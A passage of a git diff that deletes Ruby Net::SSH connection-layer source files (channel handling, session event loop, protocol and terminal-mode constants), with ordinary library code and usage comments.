modes.to_s, &block) - end - - # Sends data to the channel's remote endpoint. This usually has the - # effect of sending the given string to the remote process' stdin stream. - # Note that it does not immediately send the data across the channel, - # but instead merely appends the given data to the channel's output buffer, - # preparatory to being packaged up and sent out the next time the connection - # is accepting data. (A connection might not be accepting data if, for - # instance, it has filled its data window and has not yet been resized by - # the remote end-point.) - # - # This will raise an exception if the channel has previously declared - # that no more data will be sent (see #eof!). - # - # channel.send_data("the password\n") - def send_data(data) - raise EOFError, "cannot send data if channel has declared eof" if eof? - output.append(data.to_s) - end - - # Returns true if the channel exists in the channel list of the session, - # and false otherwise. This can be used to determine whether a channel has - # been closed or not. - # - # ssh.loop { channel.active? } - def active? - connection.channels.key?(local_id) - end - - # Runs the SSH event loop until the channel is no longer active. This is - # handy for blocking while you wait for some channel to finish. - # - # channel.exec("grep ...") { ... } - # channel.wait - def wait - connection.loop { active? } - end - - # Returns true if the channel is currently closing, but not actually - # closed. A channel is closing when, for instance, #close has been - # invoked, but the server has not yet responded with a CHANNEL_CLOSE - # packet of its own. - def closing? - @closing - end - - # Requests that the channel be closed. If the channel is already closing, - # this does nothing, nor does it do anything if the channel has not yet - # been confirmed open (see #do_open_confirmation). Otherwise, it sends a - # CHANNEL_CLOSE message and marks the channel as closing. - def close - return if @closing - if remote_id - @closing = true - connection.send_message(Buffer.from(:byte, CHANNEL_CLOSE, :long, remote_id)) - end - end - - # Returns true if the local end of the channel has declared that no more - # data is forthcoming (see #eof!). Trying to send data via #send_data when - # this is true will result in an exception being raised. - def eof? - @eof - end - - # Tells the remote end of the channel that no more data is forthcoming - # from this end of the channel. The remote end may still send data. - def eof! - return if eof? - @eof = true - connection.send_message(Buffer.from(:byte, CHANNEL_EOF, :long, remote_id)) - end - - # If an #on_process handler has been set up, this will cause it to be - # invoked (passing the channel itself as an argument). It also causes all - # pending output to be enqueued as CHANNEL_DATA packets (see #enqueue_pending_output). - def process - @on_process.call(self) if @on_process - enqueue_pending_output - end - - # Registers a callback to be invoked when data packets are received by the - # channel. The callback is called with the channel as the first argument, - # and the data as the second. - # - # channel.on_data do |ch, data| - # puts "got data: #{data.inspect}" - # end - # - # Data received this way is typically the data written by the remote - # process to its +stdout+ stream. - def on_data(&block) - old, @on_data = @on_data, block - old - end - - # Registers a callback to be invoked when extended data packets are received - # by the channel. The callback is called with the channel as the first - # argument, the data type (as an integer) as the second, and the data as - # the third. Extended data is almost exclusively used to send +stderr+ data - # (+type+ == 1). Other extended data types are not defined by the SSH - # protocol. - # - # channel.on_extended_data do |ch, type, data| - # puts "got stderr: #{data.inspect}" - # end - def on_extended_data(&block) - old, @on_extended_data = @on_extended_data, block - old - end - - # Registers a callback to be invoked for each pass of the event loop for - # this channel. There are no guarantees on timeliness in the event loop, - # but it will be called roughly once for each packet received by the - # connection (not the channel). This callback is invoked with the channel - # as the sole argument. - # - # Here's an example that accumulates the channel data into a variable on - # the channel itself, and displays individual lines in the input one - # at a time when the channel is processed: - # - # channel[:data] = "" - # - # channel.on_data do |ch, data| - # channel[:data] << data - # end - # - # channel.on_process do |ch| - # if channel[:data] =~ /^.*?\n/ - # puts $& - # channel[:data] = $' - # end - # end - def on_process(&block) - old, @on_process = @on_process, block - old - end - - # Registers a callback to be invoked when the server acknowledges that a - # channel is closed. This is invoked with the channel as the sole argument. - # - # channel.on_close do |ch| - # puts "remote end is closing!" - # end - def on_close(&block) - old, @on_close = @on_close, block - old - end - - # Registers a callback to be invoked when the server indicates that no more - # data will be sent to the channel (although the channel can still send - # data to the server). The channel is the sole argument to the callback. - # - # channel.on_eof do |ch| - # puts "remote end is done sending data" - # end - def on_eof(&block) - old, @on_eof = @on_eof, block - old - end - - # Registers a callback to be invoked when the server was unable to open - # the requested channel. The channel itself will be passed to the block, - # along with the integer "reason code" for the failure, and a textual - # description of the failure from the server. - # - # channel = session.open_channel do |ch| - # # .. - # end - # - # channel.on_open_failed { |ch, code, desc| ... } - def on_open_failed(&block) - old, @on_open_failed = @on_open_failed, block - old - end - - # Registers a callback to be invoked when a channel request of the given - # type is received. The callback will receive the channel as the first - # argument, and the associated (unparsed) data as the second. The data - # will be a Net::SSH::Buffer that you will need to parse, yourself, - # according to the kind of request you are watching. - # - # By default, if the request wants a reply, Net::SSH will send a - # CHANNEL_SUCCESS response for any request that was handled by a registered - # callback, and CHANNEL_FAILURE for any that wasn't, but if you want your - # registered callback to result in a CHANNEL_FAILURE response, just raise - # Net::SSH::ChannelRequestFailed. - # - # Some common channel requests that your programs might want to listen - # for are: - # - # * "exit-status" : the exit status of the remote process will be reported - # as a long integer in the data buffer, which you can grab via - # data.read_long. - # * "exit-signal" : if the remote process died as a result of a signal - # being sent to it, the signal will be reported as a string in the - # data, via data.read_string. (Not all SSH servers support this channel - # request type.) - # - # channel.on_request "exit-status" do |ch, data| - # puts "process terminated with exit status: #{data.read_long}" - # end - def on_request(type, &block) - old, @on_request[type] = @on_request[type], block - old - end - - # Sends a new channel request with the given name. The extra +data+ - # parameter must either be empty, or consist of an even number of - # arguments. See Net::SSH::Buffer.from for a description of their format. - # If a block is given, it is registered as a callback for a pending - # request, and the packet will be flagged so that the server knows a - # reply is required. If no block is given, the server will send no - # response to this request. Responses, where required, will cause the - # callback to be invoked with the channel as the first argument, and - # either true or false as the second, depending on whether the request - # succeeded or not. The meaning of "success" and "failure" in this context - # is dependent on the specific request that was sent. - # - # channel.send_channel_request "shell" do |ch, success| - # if success - # puts "user shell started successfully" - # else - # puts "could not start user shell" - # end - # end - # - # Most channel requests you'll want to send are already wrapped in more - # convenient helper methods (see #exec and #subsystem). - def send_channel_request(request_name, *data, &callback) - info { "sending channel request #{request_name.inspect}" } - msg = Buffer.from(:byte, CHANNEL_REQUEST, - :long, remote_id, :string, request_name, - :bool, !callback.nil?, *data) - connection.send_message(msg) - pending_requests << callback if callback - end - - public # these methods are public, but for Net::SSH internal use only - - # Enqueues pending output at the connection as CHANNEL_DATA packets. This - # does nothing if the channel has not yet been confirmed open (see - # #do_open_confirmation). This is called automatically by #process, which - # is called from the event loop (Connection::Session#process). You will - # generally not need to invoke it directly. - def enqueue_pending_output #:nodoc: - return unless remote_id - - while output.length > 0 - length = output.length - length = remote_window_size if length > remote_window_size - length = remote_maximum_packet_size if length > remote_maximum_packet_size - - if length > 0 - connection.send_message(Buffer.from(:byte, CHANNEL_DATA, :long, remote_id, :string, output.read(length))) - output.consume! - @remote_window_size -= length - else - break - end - end - end - - # Invoked when the server confirms that a channel has been opened. - # The remote_id is the id of the channel as assigned by the remote host, - # and max_window and max_packet are the maximum window and maximum - # packet sizes, respectively. If an open-confirmation callback was - # given when the channel was created, it is invoked at this time with - # the channel itself as the sole argument. - def do_open_confirmation(remote_id, max_window, max_packet) #:nodoc: - @remote_id = remote_id - @remote_window_size = @remote_maximum_window_size = max_window - @remote_maximum_packet_size = max_packet - connection.forward.agent(self) if connection.options[:forward_agent] && type == "session" - @on_confirm_open.call(self) if @on_confirm_open - end - - # Invoked when the server failed to open the channel. If an #on_open_failed - # callback was specified, it will be invoked with the channel, reason code, - # and description as arguments. Otherwise, a ChannelOpenFailed exception - # will be raised. - def do_open_failed(reason_code, description) - if @on_open_failed - @on_open_failed.call(self, reason_code, description) - else - raise ChannelOpenFailed.new(reason_code, description) - end - end - - # Invoked when the server sends a CHANNEL_WINDOW_ADJUST packet, and - # causes the remote window size to be adjusted upwards by the given - # number of bytes. This has the effect of allowing more data to be sent - # from the local end to the remote end of the channel. - def do_window_adjust(bytes) #:nodoc: - @remote_maximum_window_size += bytes - @remote_window_size += bytes - end - - # Invoked when the server sends a channel request. If any #on_request - # callback has been registered for the specific type of this request, - # it is invoked. If +want_reply+ is true, a packet will be sent of - # either CHANNEL_SUCCESS or CHANNEL_FAILURE type. If there was no callback - # to handle the request, CHANNEL_FAILURE will be sent. Otherwise, - # CHANNEL_SUCCESS, unless the callback raised ChannelRequestFailed. The - # callback should accept the channel as the first argument, and the - # request-specific data as the second. - def do_request(request, want_reply, data) #:nodoc: - result = true - - begin - callback = @on_request[request] or raise ChannelRequestFailed - callback.call(self, data) - rescue ChannelRequestFailed - result = false - end - - if want_reply - msg = Buffer.from(:byte, result ? CHANNEL_SUCCESS : CHANNEL_FAILURE, :long, remote_id) - connection.send_message(msg) - end - end - - # Invokes the #on_data callback when the server sends data to the - # channel. This will reduce the available window size on the local end, - # but does not actually throttle requests that come in illegally when - # the window size is too small. The callback is invoked with the channel - # as the first argument, and the data as the second. - def do_data(data) #:nodoc: - update_local_window_size(data.length) - @on_data.call(self, data) if @on_data - end - - # Invokes the #on_extended_data callback when the server sends - # extended data to the channel. This will reduce the available window - # size on the local end. The callback is invoked with the channel, - # type, and data. - def do_extended_data(type, data) - update_local_window_size(data.length) - @on_extended_data.call(self, type, data) if @on_extended_data - end - - # Invokes the #on_eof callback when the server indicates that no - # further data is forthcoming. The callback is invoked with the channel - # as the argument. - def do_eof - @on_eof.call(self) if @on_eof - end - - # Invokes the #on_close callback when the server closes a channel. - # The channel is the only argument. - def do_close - @on_close.call(self) if @on_close - end - - # Invokes the next pending request callback with +false+ as the second - # argument. - def do_failure - if callback = pending_requests.shift - callback.call(self, false) - else - error { "channel failure recieved with no pending request to handle it (bug?)" } - end - end - - # Invokes the next pending request callback with +true+ as the second - # argument. - def do_success - if callback = pending_requests.shift - callback.call(self, true) - else - error { "channel success recieved with no pending request to handle it (bug?)" } - end - end - - private - - # Updates the local window size by the given amount. If the window - # size drops to less than half of the local maximum (an arbitrary - # threshold), a CHANNEL_WINDOW_ADJUST message will be sent to the - # server telling it that the window size has grown. - def update_local_window_size(size) - @local_window_size -= size - if local_window_size < local_maximum_window_size/2 - connection.send_message(Buffer.from(:byte, CHANNEL_WINDOW_ADJUST, - :long, remote_id, :long, 0x20000)) - @local_window_size += 0x20000 - @local_maximum_window_size += 0x20000 - end - end - end - -end; end; end diff --git a/lib/net/ssh/connection/constants.rb b/lib/net/ssh/connection/constants.rb deleted file mode 100644 index fa23803feb..0000000000 --- a/lib/net/ssh/connection/constants.rb +++ /dev/null @@ -1,34 +0,0 @@ -# -*- coding: binary -*- -module Net; module SSH; module Connection - - # Definitions of constants that are specific to the connection layer of the - # SSH protocol. - module Constants - - #-- - # Connection protocol generic messages - #++ - - GLOBAL_REQUEST = 80 - REQUEST_SUCCESS = 81 - REQUEST_FAILURE = 82 - - #-- - # Channel related messages - #++ - - CHANNEL_OPEN = 90 - CHANNEL_OPEN_CONFIRMATION = 91 - CHANNEL_OPEN_FAILURE = 92 - CHANNEL_WINDOW_ADJUST = 93 - CHANNEL_DATA = 94 - CHANNEL_EXTENDED_DATA = 95 - CHANNEL_EOF = 96 - CHANNEL_CLOSE = 97 - CHANNEL_REQUEST = 98 - CHANNEL_SUCCESS = 99 - CHANNEL_FAILURE = 100 - - end - -end; end end diff --git a/lib/net/ssh/connection/session.rb b/lib/net/ssh/connection/session.rb deleted file mode 100644 index d63a77ae58..0000000000 --- a/lib/net/ssh/connection/session.rb +++ /dev/null @@ -1,600 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/loggable' -require 'net/ssh/connection/channel' -require 'net/ssh/connection/constants' -require 'net/ssh/service/forward' - -module Net; module SSH; module Connection - - # A session class representing the connection service running on top of - # the SSH transport layer. It manages the creation of channels (see - # #open_channel), and the dispatching of messages to the various channels. - # It also encapsulates the SSH event loop (via #loop and #process), - # and serves as a central point-of-reference for all SSH-related services (e.g. - # port forwarding, SFTP, SCP, etc.). - # - # You will rarely (if ever) need to instantiate this class directly; rather, - # you'll almost always use Net::SSH.start to initialize a new network - # connection, authenticate a user, and return a new connection session, - # all in one call. - # - # Net::SSH.start("localhost", "user") do |ssh| - # # 'ssh' is an instance of Net::SSH::Connection::Session - # ssh.exec! "/etc/init.d/some_process start" - # end - class Session - include Constants, Loggable - - # The underlying transport layer abstraction (see Net::SSH::Transport::Session). - attr_reader :transport - - # The map of options that were used to initialize this instance. - attr_reader :options - - # The collection of custom properties for this instance. (See #[] and #[]=). - attr_reader :properties - - # The map of channels, each key being the local-id for the channel. - attr_reader :channels #:nodoc: - - # The map of listeners that the event loop knows about. See #listen_to. - attr_reader :listeners #:nodoc: - - # The map of specialized handlers for opening specific channel types. See - # #on_open_channel. - attr_reader :channel_open_handlers #:nodoc: - - # The list of callbacks for pending requests. See #send_global_request. - attr_reader :pending_requests #:nodoc: - - # when a successful auth is made, note the auth info if session.options[:record_auth_info] - attr_accessor :auth_info - - class NilChannel - def initialize(session) - @session = session - end - - def method_missing(sym, *args) - @session.lwarn { "ignoring request #{sym.inspect} for non-existent (closed?) channel; probably ssh server bug" } - end - end - - # Create a new connection service instance atop the given transport - # layer. Initializes the listeners to be only the underlying socket object. - def initialize(transport, options={}) - self.logger = transport.logger - - @transport = transport - @options = options - - @channel_id_counter = -1 - @channels = Hash.new(NilChannel.new(self)) - @listeners = { transport.socket => nil } - @pending_requests = [] - @channel_open_handlers = {} - @on_global_request = {} - @properties = (options[:properties] || {}).dup - end - - # Retrieves a custom property from this instance. This can be used to - # store additional state in applications that must manage multiple - # SSH connections. - def [](key) - @properties[key] - end - - # Sets a custom property for this instance. - def []=(key, value) - @properties[key] = value - end - - # Returns the name of the host that was given to the transport layer to - # connect to. - def host - transport.host - end - - # Returns true if the underlying transport has been closed. Note that - # this can be a little misleading, since if the remote server has - # closed the connection, the local end will still think it is open - # until the next operation on the socket. Nevertheless, this method can - # be useful if you just want to know if _you_ have closed the connection. - def closed? - transport.closed? - end - - # Closes the session gracefully, blocking until all channels have - # successfully closed, and then closes the underlying transport layer - # connection. - def close - info { "closing remaining channels (#{channels.length} open)" } - channels.each { |id, channel| channel.close } - loop { channels.any? } - transport.close - end - - # Performs a "hard" shutdown of the connection. In general, this should - # never be done, but it might be necessary (in a rescue clause, for instance, - # when the connection needs to close but you don't know the status of the - # underlying protocol's state). - def shutdown! - transport.shutdown! - end - - # preserve a reference to Kernel#loop - alias :loop_forever :loop - - # Returns +true+ if there are any channels currently active on this - # session. By default, this will not include "invisible" channels - # (such as those created by forwarding ports and such), but if you pass - # a +true+ value for +include_invisible+, then those will be counted. - # - # This can be useful for determining whether the event loop should continue - # to be run. - # - # ssh.loop { ssh.busy? } - def busy?(include_invisible=false) - if include_invisible - channels.any? - else - channels.any? { |id, ch| !ch[:invisible] } - end - end - - # The main event loop. Calls #process until #process returns false. If a - # block is given, it is passed to #process, otherwise a default proc is - # used that just returns true if there are any channels active (see #busy?). - # The # +wait+ parameter is also passed through to #process (where it is - # interpreted as the maximum number of seconds to wait for IO.select to return). - # - # # loop for as long as there are any channels active - # ssh.loop - # - # # loop for as long as there are any channels active, but make sure - # # the event loop runs at least once per 0.1 second - # ssh.loop(0.1) - # - # # loop until ctrl-C is pressed - # int_pressed = false - # trap("INT") { int_pressed = true } - # ssh.loop(0.1) { not int_pressed } - def loop(wait=nil, &block) - running = block || Proc.new { busy? } - loop_forever { break unless process(wait, &running) } - end - - # The core of the event loop. It processes a single iteration of the event - # loop. If a block is given, it should return false when the processing - # should abort, which causes #process to return false. Otherwise, - # #process returns true. The session itself is yielded to the block as its - # only argument. - # - # If +wait+ is nil (the default), this method will block until any of the - # monitored IO objects are ready to be read from or written to. If you want - # it to not block, you can pass 0, or you can pass any other numeric value - # to indicate that it should block for no more than that many seconds. - # Passing 0 is a good way to poll the connection, but if you do it too - # frequently it can make your CPU quite busy! - # - # This will also cause all active channels to be processed once each (see - # Net::SSH::Connection::Channel#on_process). - # - # # process multiple Net::SSH connections in parallel - # connections = [ - # Net::SSH.start("host1", ...), - # Net::SSH.start("host2", ...) - # ] - # - # connections.each do |ssh| - # ssh.exec "grep something /in/some/files" - # end - # - # condition = Proc.new { |s| s.busy? } - # - # loop do - # connections.delete_if { |ssh| !ssh.process(0.1, &condition) } - # break if connections.empty? - # end - def process(wait=nil, &block) - return false unless preprocess(&block) - - r = listeners.keys - w = r.select { |w2| w2.respond_to?(:pending_write?) && w2.pending_write? } - readers, writers, = IO.select(r, w, nil, wait) - - postprocess(readers, writers) - end - - # This is called internally as part of #process. It dispatches any - # available incoming packets, and then runs Net::SSH::Connection::Channel#process - # for any active channels. If a block is given, it is invoked at the - # start of the method and again at the end, and if the block ever returns - # false, this method returns false. Otherwise, it returns true. - def preprocess - return false if block_given? && !yield(self) - dispatch_incoming_packets - channels.each { |id, channel| channel.process unless channel.closing? } - return false if block_given? && !yield(self) - return true - end - - # This is called internally as part of #process. It loops over the given - # arrays of reader IO's and writer IO's, processing them as needed, and - # then calls Net::SSH::Transport::Session#rekey_as_needed to allow the - # transport layer to rekey. Then returns true. - def postprocess(readers, writers) - Array(readers).each do |reader| - if listeners[reader] - listeners[reader].call(reader) - else - if reader.fill.zero? - reader.close - stop_listening_to(reader) - end - end - end - - Array(writers).each do |writer| - writer.send_pending - end - - transport.rekey_as_needed - - return true - end - - # Send a global request of the given type. The +extra+ parameters must - # be even in number, and conform to the same format as described for - # Net::SSH::Buffer.from. If a callback is not specified, the request will - # not require a response from the server, otherwise the server is required - # to respond and indicate whether the request was successful or not. This - # success or failure is indicated by the callback being invoked, with the - # first parameter being true or false (success, or failure), and the second - # being the packet itself. - # - # Generally, Net::SSH will manage global requests that need to be sent - # (e.g. port forward requests and such are handled in the Net::SSH::Service::Forward - # class, for instance). However, there may be times when you need to - # send a global request that isn't explicitly handled by Net::SSH, and so - # this method is available to you. - # - # ssh.send_global_request("keep-alive@openssh.com") - def send_global_request(type, *extra, &callback) - info { "sending global request #{type}" } - msg = Buffer.from(:byte, GLOBAL_REQUEST, :string, type.to_s, :bool, !callback.nil?, *extra) - send_message(msg) - pending_requests << callback if callback - self - end - - # Requests that a new channel be opened. By default, the channel will be - # of type "session", but if you know what you're doing you can select any - # of the channel types supported by the SSH protocol. The +extra+ parameters - # must be even in number and conform to the same format as described for - # Net::SSH::Buffer.from. If a callback is given, it will be invoked when - # the server confirms that the channel opened successfully. The sole parameter - # for the callback is the channel object itself. - # - # In general, you'll use #open_channel without any arguments; the only - # time you'd want to set the channel type or pass additional initialization - # data is if you were implementing an SSH extension. - # - # channel = ssh.open_channel do |ch| - # ch.exec "grep something /some/files" do |ch, success| - # ... - # end - # end - # - # channel.wait - def open_channel(type="session", *extra, &on_confirm) - local_id = get_next_channel_id - channel = Channel.new(self, type, local_id, &on_confirm) - - msg = Buffer.from(:byte, CHANNEL_OPEN, :string, type, :long, local_id, - :long, channel.local_maximum_window_size, - :long, channel.local_maximum_packet_size, *extra) - send_message(msg) - - channels[local_id] = channel - end - - # A convenience method for executing a command and interacting with it. If - # no block is given, all output is printed via $stdout and $stderr. Otherwise, - # the block is called for each data and extended data packet, with three - # arguments: the channel object, a symbol indicating the data type - # (:stdout or :stderr), and the data (as a string). - # - # Note that this method returns immediately, and requires an event loop - # (see Session#loop) in order for the command to actually execute. - # - # This is effectively identical to calling #open_channel, and then - # Net::SSH::Connection::Channel#exec, and then setting up the channel - # callbacks. However, for most uses, this will be sufficient. - # - # ssh.exec "grep something /some/files" do |ch, stream, data| - # if stream == :stderr - # puts "ERROR: #{data}" - # else - # puts data - # end - # end - def exec(command, &block) - open_channel do |channel| - channel.exec(command) do |ch, success| - raise "could not execute command: #{command.inspect}" unless success - - channel.on_data do |ch2, data| - if block - block.call(ch2, :stdout, data) - else - $stdout.print(data) - end - end - - channel.on_extended_data do |ch2, type, data| - if block - block.call(ch2, :stderr, data) - else - $stderr.print(data) - end - end - end - end - end - - # Same as #exec, except this will block until the command finishes. Also, - # if a block is not given, this will return all output (stdout and stderr) - # as a single string. - # - # matches = ssh.exec!("grep something /some/files") - def exec!(command, &block) - block ||= Proc.new do |ch, type, data| - ch[:result] ||= "" - ch[:result] << data - end - - channel = exec(command, &block) - channel.wait - - return channel[:result] - end - - # Enqueues a message to be sent to the server as soon as the socket is - # available for writing. Most programs will never need to call this, but - # if you are implementing an extension to the SSH protocol, or if you - # need to send a packet that Net::SSH does not directly support, you can - # use this to send it. - # - # ssh.send_message(Buffer.from(:byte, REQUEST_SUCCESS).to_s) - def send_message(message) - transport.enqueue_message(message) - end - - # Adds an IO object for the event loop to listen to. If a callback - # is given, it will be invoked when the io is ready to be read, otherwise, - # the io will merely have its #fill method invoked. - # - # Any +io+ value passed to this method _must_ have mixed into it the - # Net::SSH::BufferedIo functionality, typically by calling #extend on the - # object. - # - # The following example executes a process on the remote server, opens - # a socket to somewhere, and then pipes data from that socket to the - # remote process' stdin stream: - # - # channel = ssh.open_channel do |ch| - # ch.exec "/some/process/that/wants/input" do |ch, success| - # abort "can't execute!" unless success - # - # io = Rex::Socket::Tcp.create( ... somewhere, ... port ... ) - # io.extend(Net::SSH::BufferedIo) - # ssh.listen_to(io) - # - # ch.on_process do - # if io.available > 0 - # ch.send_data(io.read_available) - # end - # end - # - # ch.on_close do - # ssh.stop_listening_to(io) - # io.close - # end - # end - # end - # - # channel.wait - def listen_to(io, &callback) - listeners[io] = callback - end - - # Removes the given io object from the listeners collection, so that the - # event loop will no longer monitor it. - def stop_listening_to(io) - listeners.delete(io) - end - - # Returns a reference to the Net::SSH::Service::Forward service, which can - # be used for forwarding ports over SSH. - def forward - @forward ||= Service::Forward.new(self) - end - - # Registers a handler to be invoked when the server wants to open a - # channel on the client. The callback receives the connection object, - # the new channel object, and the packet itself as arguments, and should - # raise ChannelOpenFailed if it is unable to open the channel for some - # reason. Otherwise, the channel will be opened and a confirmation message - # sent to the server. - # - # This is used by the Net::SSH::Service::Forward service to open a channel - # when a remote forwarded port receives a connection. However, you are - # welcome to register handlers for other channel types, as needed. - def on_open_channel(type, &block) - channel_open_handlers[type] = block - end - - # Registers a handler to be invoked when the server sends a global request - # of the given type. The callback receives the request data as the first - # parameter, and true/false as the second (indicating whether a response - # is required). If the callback sends the response, it should return - # :sent. Otherwise, if it returns true, REQUEST_SUCCESS will be sent, and - # if it returns false, REQUEST_FAILURE will be sent. - def on_global_request(type, &block) - old, @on_global_request[type] = @on_global_request[type], block - old - end - - private - - # Read all pending packets from the connection and dispatch them as - # appropriate. Returns as soon as there are no more pending packets. - def dispatch_incoming_packets - while packet = transport.poll_message - unless MAP.key?(packet.type) - raise Net::SSH::Exception, "unexpected response #{packet.type} (#{packet.inspect})" - end - - send(MAP[packet.type], packet) - end - end - - # Returns the next available channel id to be assigned, and increments - # the counter. - def get_next_channel_id - @channel_id_counter += 1 - end - - # Invoked when a global request is received. The registered global - # request callback will be invoked, if one exists, and the necessary - # reply returned. - def global_request(packet) - info { "global request received: #{packet[:request_type]} #{packet[:want_reply]}" } - callback = @on_global_request[packet[:request_type]] - result = callback ? callback.call(packet[:request_data], packet[:want_reply]) : false - - if result != :sent && result != true && result != false - raise "expected global request handler for `#{packet[:request_type]}' to return true, false, or :sent, but got #{result.inspect}" - end - - if packet[:want_reply] && result != :sent - msg = Buffer.from(:byte, result ? REQUEST_SUCCESS : REQUEST_FAILURE) - send_message(msg) - end - end - - # Invokes the next pending request callback with +true+. - def request_success(packet) - info { "global request success" } - callback = pending_requests.shift - callback.call(true, packet) if callback - end - - # Invokes the next pending request callback with +false+. - def request_failure(packet) - info { "global request failure" } - callback = pending_requests.shift - callback.call(false, packet) if callback - end - - # Called when the server wants to open a channel. If no registered - # channel handler exists for the given channel type, CHANNEL_OPEN_FAILURE - # is returned, otherwise the callback is invoked and everything proceeds - # accordingly. - def channel_open(packet) - info { "channel open #{packet[:channel_type]}" } - - local_id = get_next_channel_id - channel = Channel.new(self, packet[:channel_type], local_id) - channel.do_open_confirmation(packet[:remote_id], packet[:window_size], packet[:packet_size]) - - callback = channel_open_handlers[packet[:channel_type]] - - if callback - begin - callback[self, channel, packet] - rescue ChannelOpenFailed => err - failure = [err.code, err.reason] - else - channels[local_id] = channel - msg = Buffer.from(:byte, CHANNEL_OPEN_CONFIRMATION, :long, channel.remote_id, :long, channel.local_id, :long, channel.local_maximum_window_size, :long, channel.local_maximum_packet_size) - end - else - failure = [3, "unknown channel type #{channel.type}"] - end - - if failure - error { failure.inspect } - msg = Buffer.from(:byte, CHANNEL_OPEN_FAILURE, :long, channel.remote_id, :long, failure[0], :string, failure[1], :string, "") - end - - send_message(msg) - end - - def channel_open_confirmation(packet) - info { "channel_open_confirmation: #{packet[:local_id]} #{packet[:remote_id]} #{packet[:window_size]} #{packet[:packet_size]}" } - channel = channels[packet[:local_id]] - channel.do_open_confirmation(packet[:remote_id], packet[:window_size], packet[:packet_size]) - end - - def channel_open_failure(packet) - error { "channel_open_failed: #{packet[:local_id]} #{packet[:reason_code]} #{packet[:description]}" } - channel = channels.delete(packet[:local_id]) - channel.do_open_failed(packet[:reason_code], packet[:description]) - end - - def channel_window_adjust(packet) - info { "channel_window_adjust: #{packet[:local_id]} +#{packet[:extra_bytes]}" } - channels[packet[:local_id]].do_window_adjust(packet[:extra_bytes]) - end - - def channel_request(packet) - info { "channel_request: #{packet[:local_id]} #{packet[:request]} #{packet[:want_reply]}" } - channels[packet[:local_id]].do_request(packet[:request], packet[:want_reply], packet[:request_data]) - end - - def channel_data(packet) - info { "channel_data: #{packet[:local_id]} #{packet[:data].length}b" } - channels[packet[:local_id]].do_data(packet[:data]) - end - - def channel_extended_data(packet) - info { "channel_extended_data: #{packet[:local_id]} #{packet[:data_type]} #{packet[:data].length}b" } - channels[packet[:local_id]].do_extended_data(packet[:data_type], packet[:data]) - end - - def channel_eof(packet) - info { "channel_eof: #{packet[:local_id]}" } - channels[packet[:local_id]].do_eof - end - - def channel_close(packet) - info { "channel_close: #{packet[:local_id]}" } - - channel = channels[packet[:local_id]] - channel.close - - channels.delete(packet[:local_id]) - channel.do_close - end - - def channel_success(packet) - info { "channel_success: #{packet[:local_id]}" } - channels[packet[:local_id]].do_success - end - - def channel_failure(packet) - info { "channel_failure: #{packet[:local_id]}" } - channels[packet[:local_id]].do_failure - end - - MAP = Constants.constants.inject({}) do |memo, name| - value = const_get(name) - next unless Integer === value - memo[value] = name.downcase.to_sym - memo - end - end - -end; end; end diff --git a/lib/net/ssh/connection/term.rb b/lib/net/ssh/connection/term.rb deleted file mode 100644 index efecea7124..0000000000 --- a/lib/net/ssh/connection/term.rb +++ /dev/null @@ -1,179 +0,0 @@ -# -*- coding: binary -*- -module Net; module SSH; module Connection - - # These constants are used when requesting a pseudo-terminal (via - # Net::SSH::Connection::Channel#request_pty). The descriptions for each are - # taken directly from RFC 4254 ("The Secure Shell (SSH) Connection Protocol"), - # http://tools.ietf.org/html/rfc4254. - module Term - # Interrupt character; 255 if none. Similarly for the other characters. - # Not all of these characters are supported on all systems. - VINTR = 1 - - # The quit character (sends SIGQUIT signal on POSIX systems). - VQUIT = 2 - - # Erase the character to left of the cursor. - VERASE = 3 - - # Kill the current input line. - VKILL = 4 - - # End-of-file character (sends EOF from the terminal). - VEOF = 5 - - # End-of-line character in addition to carriage return and/or linefeed. - VEOL = 6 - - # Additional end-of-line character. - VEOL2 = 7 - - # Continues paused output (normally control-Q). - VSTART = 8 - - # Pauses output (normally control-S). - VSTOP = 9 - - # Suspends the current program. - VSUSP = 10 - - # Another suspend character. - VDSUSP = 11 - - # Reprints the current input line. - VREPRINT = 12 - - # Erases a word left of cursor. - VWERASE = 13 - - # Enter the next character typed literally, even if it is a special - # character. - VLNEXT = 14 - - # Character to flush output. - VFLUSH = 15 - - # Switch to a different shell layer. - VSWITCH = 16 - - # Prints system status line (load, command, pid, etc). - VSTATUS = 17 - - # Toggles the flushing of terminal output. - VDISCARD = 18 - - # The ignore parity flag. The parameter SHOULD be 0 if this flag is FALSE, - # and 1 if it is TRUE. - IGNPAR = 30 - - # Mark parity and framing errors. - PARMRK = 31 - - # Enable checking of parity errors. - INPCK = 32 - - # Strip 8th bit off characters. - ISTRIP = 33 - - # Map NL into CR on input. - INCLR = 34 - - # Ignore CR on input. - IGNCR = 35 - - # Map CR to NL on input. - ICRNL = 36 - - # Translate uppercase characters to lowercase. - IUCLC = 37 - - # Enable output flow control. - IXON = 38 - - # Any char will restart after stop. - IXANY = 39 - - # Enable input flow control. - IXOFF = 40 - - # Ring bell on input queue full. - IMAXBEL = 41 - - # Enable signals INTR, QUIT, [D]SUSP. - ISIG = 50 - - # Canonicalize input lines. - ICANON = 51 - - # Enable input and output of uppercase characters by preceding their - # lowercase equivalents with "\". - XCASE = 52 - - # Enable echoing. - ECHO = 53 - - # Visually erase chars. - ECHOE = 54 - - # Kill character discards current line. - ECHOK = 55 - - # Echo NL even if ECHO is off. - ECHONL = 56 - - # Don't flush after interrupt. - NOFLSH = 57 - - # Stop background jobs from output. - TOSTOP= 58 - - # Enable extensions. - IEXTEN = 59 - - # Echo control characters as ^(Char). - ECHOCTL = 60 - - # Visual erase for line kill. - ECHOKE = 61 - - # Retype pending input. - PENDIN = 62 - - # Enable output processing. - OPOST = 70 - - # Convert lowercase to uppercase. - OLCUC = 71 - - # Map NL to CR-NL. - ONLCR = 72 - - # Translate carriage return to newline (output). - OCRNL = 73 - - # Translate newline to carriage return-newline (output). - ONOCR = 74 - - # Newline performs a carriage return (output). - ONLRET = 75 - - # 7 bit mode. - CS7 = 90 - - # 8 bit mode. - CS8 = 91 - - # Parity enable. - PARENB = 92 - - # Odd parity, else even. - PARODD = 93 - - # Specifies the input baud rate in bits per second. - TTY_OP_ISPEED = 128 - - # Specifies the output baud rate in bits per second. - TTY_OP_OSPEED = 129 - end - -end; end; end diff --git a/lib/net/ssh/errors.rb b/lib/net/ssh/errors.rb deleted file mode 100644 index 009f896ea3..0000000000 --- a/lib/net/ssh/errors.rb +++ /dev/null @@ -1,86 +0,0 @@ -# -*- coding: binary -*- -module Net; module SSH - # A general exception class, to act as the ancestor of all other Net::SSH - # exception classes. - class Exception < ::RuntimeError; end - - # This exception is raised when authentication fails (whether it be - # public key authentication, 